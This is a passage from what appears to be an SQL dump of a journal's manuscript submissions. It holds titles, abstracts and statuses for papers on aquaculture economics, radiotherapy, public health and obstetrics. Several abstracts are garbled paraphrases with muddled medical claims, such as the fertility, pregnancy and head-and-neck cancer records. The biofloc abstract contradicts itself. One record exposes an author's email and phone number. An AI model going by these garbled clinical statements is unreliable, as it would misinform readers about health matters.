of 48 fish farming were randomly selected from this Upazila where 24 biofloc fish farming and 24 pond culture fish farming systems in the study area. From the survey, the average areas of H. fossilis ware found 0.000654 ha and 0. 0.05896 ha for biofloc and pond culture farming system whereas the average areas of H. fossilis between biofloc and pond culture farming showed higher than pond culture farming.  Among the different cost items, the average fingerling cost was found 14640318.65 Tk. /ha, tank set up cost were 3901906.04 Cycle Tk./ha, electricity bill cost were 897953.20 Tk./ha, the probiotic cost were 1904780.90 Tk./ha and prebiotic cost 1115390.56 Tk./ha respectively for biofloc farming. It was also found that the average fingerling cost was 298521.39 Tk/ ha, fertilizer cost in pond was found 16722.92 Tk. /ha, chemical cost was 20736.04 Tk. /ha and pond lease were 26099.33 Tk. /ha respectively. Supplementary feeds are very important to increase fish production of any culture systems. Feeding cost showed that the highest difference between pond cultures farming compares to biofloc technology farming. . Day labour is the most important of fish farming land due to the scarcity of other income generating activities. Results showed that the better fish production was held in biofloc technology farming compare to pond culture farming. Results showed that biofloc farming was much more profitable than pond farming for total profit. It was also revealed that the total profit of biofloc farming was much more profitable than pond farming. This is due to modern technology in the case of biofloc farming. Moreover, it was found that the biofloc technology has a highly increased impact on fish production. The average benefit cost ratio in biofloc was found 2.04 and pond culture farming was found 2.56. The study revealed that the benefit-cost ratio was higher in pond farming than biofloc farming. So, we can say that the benefit-cost ratio of biofloc farming is most economically viable than pond farming. In addition, the cost and benefit analysis of H. fossilis between biofloc and pond farming which was statistically highly significantly mean difference (P ≤ 0.01). When electricity bill cost, probiotic cost, prebiotic cost, fish production, total sale price and total profit of biofloc farmers are increased then the BCR could be increased. Therefore, when the fish production, total sale price and total profit are increased then the pond farmers BCR would be increased. However, further study about the socio-economic condition, nutrient requirements, effects of physiochemical parameters and feeding on the biofloc and pond farming owners was needed along with institutional, organizational, and technical and credit support also needed for their better socio-economic status.\r\n\r\n',' Heteropneustes fossilis, Biofloc, Pond culture and Benefit-Cost Ratio. ',1776,NULL,'2021-10-14',NULL,'Submitted',2,NULL,'2022-11-04',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(11104,11608,667,0,'iptb-21-11104','Mechanisms of radiotherapy associated cognitive decline in patients with brain tumours',NULL,15,0,'','In the field of clinical oncology, radiotherapy is one of the most extensively applied anticancer treatments. However, the ionizing radiation (IR) is absorbed not only by the targeted cells, but also by the surrounding normal cells as well. Consequently, patients may experience symptoms associated with a damage to normal tissues a few weeks, months or years after a course of radiotherapy. Unfortunately, the cognitive syndrome of the radiation is poorly understood and there is no effective prevention or long-term treatment. Despite that, the impact of standard therapies on the response to immunotherapy is now better understood, which has an implication on a broad range of tumor that develops with the Central Nervous System (CNS). However, effective therapy and target delivery remain the requirements for successful therapy. Despite that, the dramatic heterogeneity of malignant gliomas at the genetic immunological levels remains a profound challenge. ','Ionizing radiation, Central Nervous System, Cancer, Cognitive impairment',3512,NULL,'2021-10-14',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(11115,11620,45,0,'iphsj-21-11115','Determinants of the Performance of Logistic Management Information System in the Ethiopian Health Service Delivery Points ',NULL,8,0,'','The aim of this study was to examine the determinants of the performance of logistics management information system in the health service delivery points under Jimma Zone, Oromia, Ethiopia. The research intended to address particularly the determinants of facility related factors, personal related factors, managerial related factors, information related and supply chain related factors. The study employed both descriptive and explanatory research methods. This research design facilitates a better understanding of the determinants of LMIS performance. To accomplish the study, the researcher applied a mixed approach. The primary sources of data were collected by interview and questionnaire from respondents of health service delivery points in Jimma zone. The secondary data was gathered from recorded documents, LMIS data sheet, RRF, bin card, stock card. The study targeted all (141) health service delivery points in the Jimma zone. Semi-structured questionnaires were developed and distributed to the entire service delivery points in Jimma zone. The collected data were analyzed using SPSS statistical software. The results from the regression analysis indicated that personnel related factors, managerial related factors, information related factors, and supply chain related factors have significantly and positively determine the LMIS performance explaining 72.8 % of variations in dataset. The study concluded that for LMIS performance, particularly function to achieve its effectiveness facility related factors failed to significantly predict the LMIS performance with lack of automated data recording tools (electronic bin cards) and poor system implementation at the delivery points. The study recommends Jimma zone health facilities should look at the issue of facility infrastructures for system implementation and decision making in ensuring LMIS standards meet the users’ needs.','Logistic Management Information System, LMIS Data, LMIS Data Collection tools ',3300,NULL,'2021-10-15',NULL,'Submitted',2,NULL,'2021-12-06',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11120,11626,45,0,'iphsj-21-11120','Isolation of Pseudomonas aeruginosaphages from Residential waste waters',NULL,17,0,'','Abstract\r\nObjective: This research was designed to isolate and test the lytic action of a bacteriophage specific to Pseudomonas sp. \r\nMethods: Both Pseudomonas sp and bacteriophages were isolated from residential wastewaters. The isolated Pseudomonas sp was confirmed through biochemical tests. Antibiogram was done with nine different antibiotics. Plague assay was done to determine lytic action of the bacteriophage on Pseudomonas sp. Host range of isolated bacteriophages was assessed. \r\nResults: Cultural characteristics and biochemical tests confirmed Pseudomonas aeruginosa which was sensitive to ciprofloxacin only. The Multi- Antibiotic Resistance Index (MARI) of the isolated strains was greater than 0.8. The formation of plagues (clear zone) on the lawn of Pseudomonas sp confirmed lytic action. The bacteriophage showed plaques on Pseudomonas sp isolated from other sites.\r\nConclusion: The isolation of Pseudomonas aeruginosaphages from residential waste waters is a promising molecular tool in combating the global antimicrobial resistance threat \r\n','Keywords: bacteriophage, Pseudomonas aeruginosa, plaques, lytic, antibiotic, resistance',3756,NULL,'2021-10-16',NULL,'Submitted',2,NULL,'2021-12-02',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11121,11628,975,0,'ipjbs-21-11121',' ERADICATION  OF  VIRAL  DISEASES, A TIME  TO  RETHINK  DURING  THE  COVID PANDEMIC;  FOCUSING  ON  SMALLPOX',NULL,15,2,'','Eradication of viral pathogens is an arduous task. We have all seen how Covid-19 forced the entire world into a standstill during these preceding two years. Not much success has been achieved in the past to eradicate such pathogens. The miraculous eradication of Smallpox was only possible when all of the health determinants - sociological, biological, political will, synergised together towards the  elimination of  one specific microorganism from the globe. This article critically takes into account  every contributing factor which led to this mammoth achievement in the international public health domain and the difficulties faced in recreating it for other viral pathogens, especially for coronavirus, the current pathogen of concern.\r\n\r\n','virus ; smallpox ; coronavirus ; vaccination ; antiviral drugs ; eradication  ; elimination ; disease surveillance \r\n\r\n',3677,NULL,'2021-10-17',NULL,'Submitted',19,NULL,'2021-10-19',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(11133,11640,45,0,'iphsj-21-11133','Adolescents psychological distress and its association with parental psychological abuse and neglect among adolescents in Illu Abba Bor zone, Southwest Ethiopia: a community based, cross-sectional study',NULL,14,0,'','Background: Psychological distress among adolescents is a common mental health problem worldwide. The risk of psychological distress is substantially higher in adolescents who have parental psychological abuse and neglect when compared to the general population. However, there is a scarcity of studies addressing this issue in Ethiopia. Therefore, this study aimed to assess psychological distress and its association with parental psychological abuse and neglect among adolescents in Mettu town, 2020.  \\r\\nMethods: A community-based cross-sectional study was conducted among 847 adolescents of Mettu town. Study participants were selected by stratified sampling technique. Data were collected through interviewer-administered questionnaires. Pearson’s correlation analysis was used to assess the correlation between variables of the study (psychological distress and parental psychological abuse and neglect). Linear regression analysis was done and statistical significance was declared at P<0.05.\\r\\nResults: Out of the total sample, 819 adolescents were involved with a response rate of 96.7%. The overall prevalence of psychological distress was 43.7%. Among the respondents, 192(23.4%) experienced parental psychological abuse, 290(35.4%) experienced emotional neglect, and 247(30.2%) experienced physical neglect. Parental psychological abuse (β=.65, p<.001), emotional neglect (β=.21, p=.003), and physical neglect (β=.17, p=.007) were significantly associated with psychological distress.\\r\\nConclusion: 	the prevalence of psychological distress in this study was relatively high, and strongly associated with parental psychological abuse, and neglect during adolescence. Therefore, the promotion of community mental health intervention programs directing at minimizing occurrences of parental psychological abuse and neglect is essential to reduce the incidence of psychological distress among adolescents. ','Parental psychological abuse, Physical neglect, Emotional neglect, Psychological distress, Adolescent, Ethiopia ',685,NULL,'2021-10-18',NULL,'Submitted',2,NULL,'2021-11-12',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(11144,11648,975,0,'ipjbs-21-11144','Review: Impact of Dengue and vaccines in India',NULL,15,0,'','Objective-The objective of this study was to evaluate the dengue burden in India and to present a review of the vaccine, DENGVAXIA®.\r\n\r\nOverview-Dengue fever is a mosquito-borne viral infection that has spread quickly through all regions in recent years. Female mosquitoes, primarily Aedes aegypti and, to a lesser degree, Aedes albopictus, transmit the dengue virus [1]. Dengue fever affects nearly 2.5 billion people worldwide, with an estimated 100 million new cases per year [3]. Dengue fever claimed the lives of 245 people in India in 2016, with 1,29,166 cases recorded. There were 132 dengue deaths and 1,36,422 cases recorded from January to November of 2019.Sanofi\'s Dengvaxia® was approved by the FDA in 2015. Following this, long-term follow-up of participants in the Sanofi phase III efficacy trial revealed significant safety issues [3]. In this article, we aim to provide information about the dengue virus\'s prevalence in India, as well as a review of Dengvaxia® also describing it results and safety along with other vaccines and its approval in the listed country. Dengvaxia® is indicated for the prevention of dengue fever caused by serotypes 1, 2, 3, and 4 of the dengue viruses. Dengvaxia® is approved for use in people aged 9 to 16 who have had a previous dengue infection that has been confirmed in a laboratory and who live in an endemic area [4].\r\n','',3677,NULL,'2021-10-18',NULL,'Submitted',2,NULL,'2021-11-23',NULL,1,1,'1','can be publish',0,'','',NULL,0,0,0,NULL,0),(11148,11651,73,0,'ipjnn-21-11148','The Coveted Journey of Surgical Robotics in Neurosurgery',NULL,15,0,'','Surgical Robotics might help proficiently execute chaotic assignments that require a serious level of precision, and this, in enormous part, clarifies robotic technology has collected certain use in an assortment of neurosurgical practical applications, including diagnostic intracranial biopsies and spinal invasive processes plus arrangement of intracranial surgical leads. The utilization of automatic technology in neurosurgery presents many advantages, and inborn constraints, to the specialists and their cases. In this detailed review, we give an authentic outline of advanced mechanics and their execution across different thorough claims and talk about the different automated frameworks that have been grown explicitly for neurosurgical applications. Neuronavigation frameworks use a mechanical extended arm fitted camera cluster for visual following of infrared or visible light-emitting diodes (LEDs)or potentially intelligent markers, which are regularly mounted to thorough instruments. Robot-aided neuronavigation relies upon comparative boundaries as ordinary path frameworks. Robots require extra DoF in the actual apparatus with the goal that it can push the device around in the void. The overall imperative is nearly 6 DoF to proceed in an interactive 3 D climate, yet the methodology of straightening instruments is restricted to a straight linear line.','Surgical Robotics, Autonomous surgery, Artificial intelligence, neurosurgery ',351,NULL,'2021-10-18',NULL,'Submitted',4,NULL,'2022-02-03',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11152,11655,277,0,'ipadm-21-11152','CARACTERIZACIÓN DE LOS  PACIENTES CON MIASTENIA GRAVIS JUVENIL DE UN HOSPITAL UNIVERSITARIO DE REFERENCIA EN COLOMBIA. ',NULL,14,0,'','RESUMEN:\r\nINTRODUCCIÓN: La miastenia gravis juvenil (MGJ), es una entidad poco común, de la que no se cuenta con suficiente información. Esta patología cuenta con características propias y una reconocida variabilidad demográfica. Las consecuencias de no ser diagnosticada y tratada a tiempo pueden ser graves y su tratamiento se basa en lo observado en adultos. \r\nOBJETIVO: Caracterizar sociodemográfica y clínicamente la población de niños diagnosticados con MGJ en un hospital universitario de referencia en Colombia.\r\nMETODOLOGÍA: Estudio observacional retrospectivo, en el que se analizarón los registros médicos de los pacientes hospitalizados en el Hospital Universitario San Vicente Fundación (HUSVF) de la ciudad de Medellín, Colombia, desde enero de 2011 a diciembre de 2017. \r\nRESULTADOS: Se incluyeron las historias clínicas de 23 pacientes (14 mujeres). La edad media de inicio fue de 9,1 años. 15 (65,2%) se encontraban el periodo prepuberal. El tipo de miastenia ocular fue el más frecuente, principalmente en prepúberes. La crisis miasténica (CM) se presentó en 5 pacientes (21,7%), predominantemente en pospúberes. Se encontró una diferencia significativa entre el grupo de edad y el tipo de presentación; y una tendencia para presentar trastornos psiquiátricos según el sexo y la edad. \r\nCONCLUSIONES: Para el conocimiento de los autores éste es el primer estudio de caracterización de pacientes con MGJ en Colombia. El diagnóstico se dio principalmente en los pacientes prepúberes, y el sexo femenino se vio más afectado en ambos grupos etarios. Similar a lo encontrado en otras latitudes, el tipo ocular se presentó con mayor frecuencia. La proporción de pacientes con CM fue mayor a lo reportado. En este estudio se encontró, que pertenecer al grupo prepúber puede aumentar el riesgo de presentar MGO. La comorbilidad autoinmune no fue frecuente, y el rendimiento de las diferentes ayudas diagnósticas es bueno. Los medicamentos y líneas de manejo se ajustan a las recomendaciones dadas, sin embargo se necesitan más estudios y un tamaño de muestra más significativo.\r\n','PALABRAS CLAVE: Acetilcolina, inmunosupresores, enfermedad autoinmune, enfermedad neuromuscular,  miastenia gravis, timectomía.',5023,NULL,'2021-10-18',NULL,'Submitted',2,NULL,'2022-06-20',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11158,11659,959,0,'ipacr-21-11158','Cancer Economics:  Global Economy, Intervention and implications in Cancer control in South East Asian countries',NULL,14,0,'Say Check to \"Cancer\": A never ending disease','The landscape analysis of Global economy and its regional impact pertaining to the non communicable disease containment is very important for framing an evidence based interventions. The Global economy and its impact on the access to essential medicines, among the vulnerable communities in the country’s worst hit by the poor governance is worth recognizing in the early phase of disease interventions.  Most of the times the governments and governance mechanism fails to recognize the disease burden pertaining to the non communicable diseases. \r\nFragile governments and political prioritization, in the countries with the poor economies poses enumerable challenges in addressing the issues pertaining to the provision of the universal health coverage.  The health sector alone in the countries, hit by the crisis in all the fronts may not be promising  and capable of achieving the  health related targets and bringing the reforms in service delivery , but needs an integration with the non- health sectors and should reinforce with the institution of good governance mechanism. The sect oral  Global GDP allocations in these countries are highly  disproportionate and most of the times, compromises in strengthening the social security systems, there by incapacitating the  health sector to meet the shocks , including those which roots from the health. The countries needs innovations in bringing the reformation in the transition phase, which is highly sensitive for the volatility of the economies and foreign policies, and need insulation, for preventing un eventualities, meeting the catastrophes.','catastrophes, Non communicable diseases, harmonization,',2817,NULL,'2021-10-19',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11173,11668,277,0,NULL,'EVALUACIÓN DE LOS NIVELES SERICOS DE VITAMINA D EN PACIENTES INFECTADOS CON COVID 19 EN UN HOSPITAL DE COLOMBIA',NULL,14,1,'covid 19','Resumen\\r\\nIntroducción: La enfermedad originada por el covid 19 es una patologia que afecta no solo al sistema respiratorio, sino que también conduce a falla multiorgánica. Hasta la fecha actual en que se redacta este manuscrito, no existe ningun tratamiento eficaz para contrarrestarla, la prevención es la única forma de reducir el número de infectados y muertes product de esta. Los bajos niveles séricos de vitamina D se han asociado con una mayor susceptibilidad a la infección por la covid 19. Sin embargo, no hay evidencia concluyente sobre el papel de la vitamina D en esta infección.\\r\\nObjetivos del estudio: El objetivo de este estudio fue evaluar los niveles de vitamina D en pacientes infectados co la covid 19 y analizar su relacion con el curso de la enfermedad.\\r\\nMateriales y métodos: Se seleccionaron y analizaron retrospectivamente un total de 160 historias clínicas de pacientes con COVID-19 de un hospital de Colombia. La recolección de datos se llevó a cabo en el período comprendido entre el 09/4/2020 y el 09/04/2021.\\r\\nResultados: La mediana de edad de los pacientes con covid 19 fue de 60 años. Los niveles de vitamin D fueron bajos en los pacientes con infectados con la covid 19, con una mediana de 15,2 ng / ml, pero por otro lado los niveles de ferritina sérica fueron altos en todos los pacientes con covid 19 con una mediana de 720,9 ng / ml.\\r\\nEstadisticamente se pudo concluir que existe una tasa significativamente más alta de desarrollar una forma grave de covid 19 en hombres en comparación con las mujeres, valor de p <0,001.\\r\\nEl nivel de vitamina D en suero fue significativamente menor en los pacientes con covid 19 en comparación con el grupo control con un valor de p <0,001. Se detectó una mayor reducción en los niveles de vitamin D en la forma mas severa de la enfermedad (valor de p 0.042). Y existieron niveles significativamente más bajos de vitamina D y niveles más altos de ferritina en los casos severos de covid-19, valores de p 0.018 y 0.001, respectivamente.\\r\\nConclusiones: Se pudo llegar a la conclusion que los niveles bajos de vitamina D en suero se asociaron significativamente con un mayor riesgo de adquirir una infección por covid 19 y desarrollar un curso mas grave de la enfermedad, que puede conducir incluso a la muerte. Por lo cual la suplementación con vitamina D proporcionaria niveles sericos de vitamina D para que se pueda prevenir la infección o minimizar la gravedad del covid 19.\\r\\n','Palabras clave: covid 19, deficiencia, vitamina D.',5022,NULL,'2021-10-19',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(11193,10058,73,0,'ipjnn-21-11193','CASE REPORT: AN INTERESTING CASE OF INTRACRANIAL TUBERCULOMA WITH SPINAL TUBERCULOUS SPONDYLITIS IN A PATIENT with MUSCULAR DYSTROPHY',NULL,2,0,'','This case describes an unusual or novel occurrence. An unexpected association between intracranial tuberculoma and spinal tuberculosis. This is an unexpected event in the course observing and treating a patient with muscular dystrophy. (1) We report a case of combination of spinal tuberculous spondylitis 2 and intracranial tuberculoma 3which is extremely rare, so far, only five cases have been reported in the literature. 32-year-old female who is a known case of muscular dystrophy presenting with fever, diplopia, low back ache and motor weakness of both upper and lower extremities. Based on magnetic resonance imaging and polymerase chain reaction, we diagnosed as tuberculoma. She was started on conventional antituberculous4treatment and steroids5\r\n\r\nThe association of potts spine with intracranial tuberculomas is extremely rare. Up to date, there are only few cases which have been reported in the literature [6, 7]. Intracranial tuberculomas associated with intramedullary tuberculomas only about 5 cases has been reported worldwide.','Intracranial tuberculoma, brain, spine, weakness and magnetic resonance imaging',326,NULL,'2021-10-20',NULL,'Submitted',2,NULL,'2022-02-04',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(11196,11683,277,0,'ipadm-21-11196','ENFERMEDAD DE CROHN E INFECCION POR VIH, A PROPOSITO DE UN CASO    ',NULL,2,0,'','In this report, a clinical characterization and review of the literature on the overlap of inflammatory bowel disease (IBD) and HIV infection is carried out. The clinical case that is brought is about a young woman with no previous medical history, with diarrhea in which infectious causes are ruled out and IBD is documented in addition to de novo coninfection with HIV. It is considered important to document non-infectious causes in patients with chronic diarrhea and immunosuppression secondary to HIV infection.','HIV. Crohn disease. ',5022,NULL,'2021-10-21',NULL,'Submitted',2,NULL,'2022-06-20',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(11230,11710,959,0,'ipacr-21-11230','Primary Intracranial Malignancies in the Era of Modern Radiation Therapy',NULL,25,0,'Say Check to \"Cancer\": A never ending disease','In overseeing patients with mind metastasis in the disciplines of neuro-oncology, neurosurgery, and radiation oncology, intracranial control and care. Of note, the discussions and issues related with deferred radiation-related intellectual brokenness can\'t be disregarded, especially in patients who have gone through entire mind radiation treatment (WBRT). Concerning neurocognitive outcomes identified with cranial illumination, past examinations have shown that weakened hippocampal neurogenesis might be answerable for such intellectual effects coming about because of the conveyance of WBRT. Hence, it has been conjectured that conformal hippocampal saving over the span of WBRT (HS-WBRT) would add to significant safeguarding as to neurocognitive capacities (NCFs).','radiation treatment,neuro-oncology, oligometastatic, NSCLC',3521,NULL,'2021-10-22',NULL,'Submitted',2,NULL,'2021-12-14',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11232,11709,959,0,'ipacr-21-11232','Review on Prevention of Metastatic Squamous Cell Carcinoma of Head & Neck',NULL,19,0,'Say Check to \"Cancer\": A never ending disease','The endurance rate at 3 years after possibly healing careful or radiation therapy for privately progressed squamous cell carcinoma of head and neck (SCCHN) remains very poor at 30 to half. More than half of these patients backslide locally or at far off destinations and with a middle endurance of 6-9 months. This audit centers around the set up and exploratory procedures looking to work on this result. Cetuximab is an illusory immunoglobulin G1 monoclonal counter acting agent designed explicitly to rival the normal ligand for EGFR restricting destinations on the outside surface of the cell film. This immunizer have exhibited huge infectious prevention pace of more than 45% as single specialist in the locally repetitive/metastatic sickness setting. The mix of cetuximab with platinum-based and taxane-based chemotherapy regimens has brought about infectious prevention pace of up to 80%. Studies are presently continuous to survey the action of immunotherapeutic specialists like CTLA-4, PD-1, and PD-L1 inhibitors in the treatment of cutting edge SCCHN both in biomarker chose and unselected patient populace with empowering primer outcomes. In addition, the blend of these specialists with standard chemotherapy regimens, and with cetuximab in the treatment of SCCHN is likewise being investigated.','Squamous cell carcinoma; Targeted therapies, chemotherapy regimens, cetuximab.',3216,NULL,'2021-10-22',NULL,'Submitted',2,NULL,'2021-11-30',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(11234,11713,86,0,'ipaom-21-11234','Pathophysiology and Management of Neurogenic Pulmonary Edema in Patients with Acute Severe Brain Injury',NULL,15,0,'','Purpose: This article will provide a narrative review of evidence regarding proposed mechanisms, diagnosis, and treatment of neurogenic pulmonary edema (NPE) in the critical care setting. \r\nMethods: PubMed and Ovid databases were searched for observational or prospective studies relevant to the diagnosis and treatment of NPE. \r\nResults: While the specific mechanisms responsible for NPE remain uncertain, putative mechanisms include catecholamine release with resultant pulmonary vasoconstriction termed the “blast injury theory”, increased vagal tone, and increased capillary permeability. Diagnosis involves identifying signs of pulmonary edema in the setting of a brain injury, and treatment modalities appear to work best when balanced towards maintaining a normal physiologic state. \r\nConclusion: Acute brain injury (ABI) consists of any acquired insult to the brain and is a significant cause of morbidity and mortality worldwide. Approximately 20 – 30% of patients with ABI develop lung injury. Neurogenic pulmonary edema (NPE) is an often underdiagnosed, but an important sequela of ABI, which may result in additional long-term morbidity. It is therefore an important for providers to recognize and tailor their clinical approach towards. \r\n','',5013,NULL,'2021-10-22',NULL,'Submitted',2,NULL,'2021-11-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(11238,11717,73,0,'ipjnn-21-11238','Habitual Physical Activities and its relations with CVA',NULL,14,0,'','Title: Habitual physical activity (HPA) and it’s relation with cerebrovascular accident (CVA)\r\n\r\nIslam MF\r\nConsultant Physiotherapist & Head of Department Physiotherapy, Dhaka Proyash.\r\n\r\nCorrespondence Author\r\nDr.Md. Faruqul Islam,PT,\r\nPhysiotherapy consultant\r\nIn-Charge, Physiotherapy Department, Proyash\r\nDhaka Cantonment\r\nEmail: faruqch6@gmail.com\r\nMobile: 01716175194\r\n\r\nAbstract\r\nBackground: Stroke is the third leading cause of death in Bangladesh. The World Health Organization ranks Bangladesh\'s mortality rate due to stroke as number 84 in the world. Study suggested that a lot of factors are involved in the cerebrovascular accident (CVA) and Habitual Physical Activity plays an important role in prevention of stroke. Surgeon General’s report indeed shows that physical activity is associated with lower stroke risk and subsequent stroke death. \r\nMethodology: Purpose of the present cross sectional study is to understand the level of habitual physical activities of patient’s with CVA before stroke. The study conducted in the Stroke Rehab Unit of Centre for the Rehabilitation of the Paralysed (CRP). Sample was chosen according to the non probability “purposive” sampling method. Data was analyzed with the software named Statistical Package for Social Sciences (SPSS) version 16.0. \r\nResults: Purposively selected 135 patients were included in the study. Mean± SD of age was 53.1 ± 12.7 years. Among them 76.3% were male and 23.7% were female. Highest numbers of participants were in the age group of more than 58 years (34.8%). More than half (52.6%) of the participants were from upper lower class according to Kuppuswamy’s SES Classification. Study also found that 37.8% participants had heavier workload compare with others. Alongside, during leisure 41.5% were sometimes watching TV and 54.8% were seldom walking during leisure whereas 20% used to sometimes walking during leisure. Nevertheless, it was found that among the participants 48.1% were never play sports during leisure. Only 5.9% (n=8) were always playing sports during leisure. The study showed no significant relation between workload and CVA (x^2= 8.796 > P= 0.05) and relationship between social status and CVA which also insignificant (x^2= 1.936 > P= 0.05) but significant in the workload relation (x^2= 2.965 > P= 0.05). \r\nConclusion: It is established by the researcher and scientist that habitual physical activity or active life style reduces the risk of CVA. In contrast, sedentary life style or less physical activity impact on individual’s health. Participants were less in percentage affected by CVA who involved in physical activity either in the job or in the leisure activities.\r\nKey Words: CVA, Habitual Physical Activity, Kuppuswamy’s SES Classification\r\n\r\n','Key Words: CVA, Habitual Physical Activity, Kuppuswamy’s SES Classification\r\n\r\n',338,NULL,'2021-10-23',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(11242,11721,91,0,'ijddr-21-11242','Design development and evaluation of amoxycillin with pot clav dispersible tablet ',NULL,15,0,'','Desin development and evaluation of amoxycillin with pot clav dispersible tablet.','Ok',3391,NULL,'2021-10-23',NULL,'Submitted',14,NULL,'2021-11-09',NULL,1,1,'1','     ',0,'','',NULL,0,0,0,NULL,0),(11246,11726,45,0,'iphsj-21-11246','The Dirty Dozen:  Assessing the Nutritional Quality of the Twelve Most Purchased Vending Items on a Large University Campus',NULL,14,0,'','The poor nutritional quality of snacks in vending machines may contribute to obesogenic food environments. Understanding the obesogenic food environments and accessibility to healthy foods may help policymakers identify approaches for improving the food environment. This study conducted in 2017-2018 assessed the nutrient density and quality of snacks sold in vending machines at a land grant university and examined their spatial proximity to other food sources. The list of vending machines, their location, the revenue generated from each machine, and the most popular snack list were obtained from the campus business services. Researchers evaluated snacks in vending machines independently utilizing two validated assessment tools: Nutritional Environment Measures Survey-Vending assessment tool (NEMS-V) for overall snack healthfulness and Health Density Vending Machine Audit Tool (HDVMAT) for snack nutrient density. There were 81 snack vending machines on campus, and each machine generated varying levels of revenue.  A sample of the top 25% revenue generating machines located in buildings with high student traffic were selected for snack healthfulness (n=20) and spatial food proximity analyses.  Assessment by both tools revealed that most of the snacks in these vending machines were of low nutritional quality. The 12 most popular snacks (“dirty dozen”) were comparable in nutritional quality to what was being offered in the campus-wide vending program. The spatial analysis found that significant portions of the campus were more than half a mile from any quality food source, likely contributing to greater consumer use of these vending machines. Based on this sample analysis, snacking options available to college students are of poor nutritional quality and may contribute to the obesogenic environment common to college campuses; policies to address this issue are warranted.','Environmental assessment, Obesity prevention, Nutrient density, Vending machines, Snacks, Health promotion.',2879,NULL,'2021-10-24',NULL,'Submitted',2,NULL,'2021-11-09',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(11262,11731,91,0,'ijddr-21-11262','Female Fertility disorders and its preventive measures',NULL,5,2,'Latest Insights in Gynecology , Obstetrics & Women\'s Health','Infertility is outlined as attempting to urge pregnant with frequent, unprotected sex for a minimum of a year with no success.  Physiological condition results from feminine factors regarding tierce of the time and each feminine and male factors regarding tierce of the time. The cause is either unknown or a mixture of male and feminine factors within the remaining cases.\r\nFemale physiological condition causes are often troublesome to diagnose. There square measure several treatments, counting on the physiological condition cause. Several impotent couples can continue to conceive a toddler while not treatment.','Female Fertility,  Fertility disorders',5031,NULL,'2021-10-25',NULL,'Submitted',14,NULL,'2023-05-04',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,4,0,NULL,0),(11263,11732,91,0,'ijddr-21-11263','Obstetric analgesia and Anaesthesia',NULL,5,2,'Latest Insights in Gynecology , Obstetrics & Women\'s Health','There is a spread of nonpharmacologic techniques for labor physiological state. These techniques embrace mental state, the respiration techniques delineated by natural childbirth, stylostixis, G-Jo, the leBoyer technique, transdermal nerve stimulation, massage, hydropathy, vertical positioning, presence of a support person, intradermic water injections, and training program. A metaanalysis reviewing the effectiveness of a support individual (e.g., doula, family member) noted that parturients with a support individual used fewer medical specialty physiological state strategies, had a diminished length of labor.','Obstetric, analgesia, Anaesthesia',5031,NULL,'2021-10-25',NULL,'Submitted',19,NULL,'2021-11-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,4,0,NULL,0),(11264,11733,91,0,'ijddr-21-11264',' Pre and Postnatal Care development',NULL,3,2,'Latest Insights in Gynecology , Obstetrics & Women\'s Health','For most women’s, turning into a mother and holding the neonate is among the happiest moment of their lives. It’s right and happiness that each lady wants to be a mother is entitled to. However, for several pregnant ladies this doesn\'t return true and every now and then even leads to worst of the situations. A day as several as 800 ladies die because of complications arising out of gestation and uncountable several loses their baby. In India, a lady dies each twenty minutes because of gestation or throughout birth, as per the planet Health Organization. The main explanation for this can be scarce and poor antepartum and postnatal care and also the lack of awareness round the wants of ladies throughout gestation.','Postnatal',5031,NULL,'2021-10-25',NULL,'Submitted',19,NULL,'2021-11-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,4,0,NULL,0),(11265,11734,91,0,'ijddr-21-11265','Pregnancy and Gynaecology Complications',NULL,3,2,'Latest Insights in Gynecology , Obstetrics & Women\'s Health','Pregnancy symptoms and complications will vary from gentle and annoying discomforts to severe, generally critical, illnesses. Generally it will be tough for a girl to see that symptoms area unit traditional and that aren\'t. Issues throughout maternity could embrace physical and mental conditions that have an effect on the health of the mother or the baby. These issues will be caused by or will be created worse by being pregnant. Several issues area unit gentle and don\'t progress; but, after they do, they\'ll hurt the mother or her baby. Confine mind that there are a unit ways that to manage issues that return up throughout maternity. Forever contact your prenatal care supplier if you have got any considerations throughout your maternity.','Pregnancy, Gynaecology',5031,NULL,'2021-10-25',NULL,'Submitted',19,NULL,'2021-11-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,4,0,NULL,0),(11269,11737,91,0,'ijddr-21-11269','Formulation and Evaluation of mouth dissolving tablet of ibuprofen',NULL,2,2,'','Formulation And Evaluation of mouth dissolving tablet containing Ibuprofen.','disintegrates',4940,NULL,'2021-10-25',NULL,'Submitted',19,NULL,'2021-11-09',NULL,1,1,'0','    ',0,'','',NULL,0,4,0,NULL,0),(11270,11739,85,0,'iphspr-21-11270','Adherence to prevention of mother-to-child transmission (PMTCT) service and its effect on HIV Status of children born to HIV Mothers in Tema Metropolis.',NULL,14,0,'','Background: WHO has estimated that 15-45% of infants exposed to HIV are likely to be infected vertically and this continues to remain a challenge for management of HIV in children even with the existence of HIV and AIDS Anti-Retroviral Treatment. Prevention of mother-to-child transmission (PMTCT) of HIV program was put in place by WHO to reduce mother-to-child transmission of HIV in children born to HIV positive pregnant women. Although there is an availability of 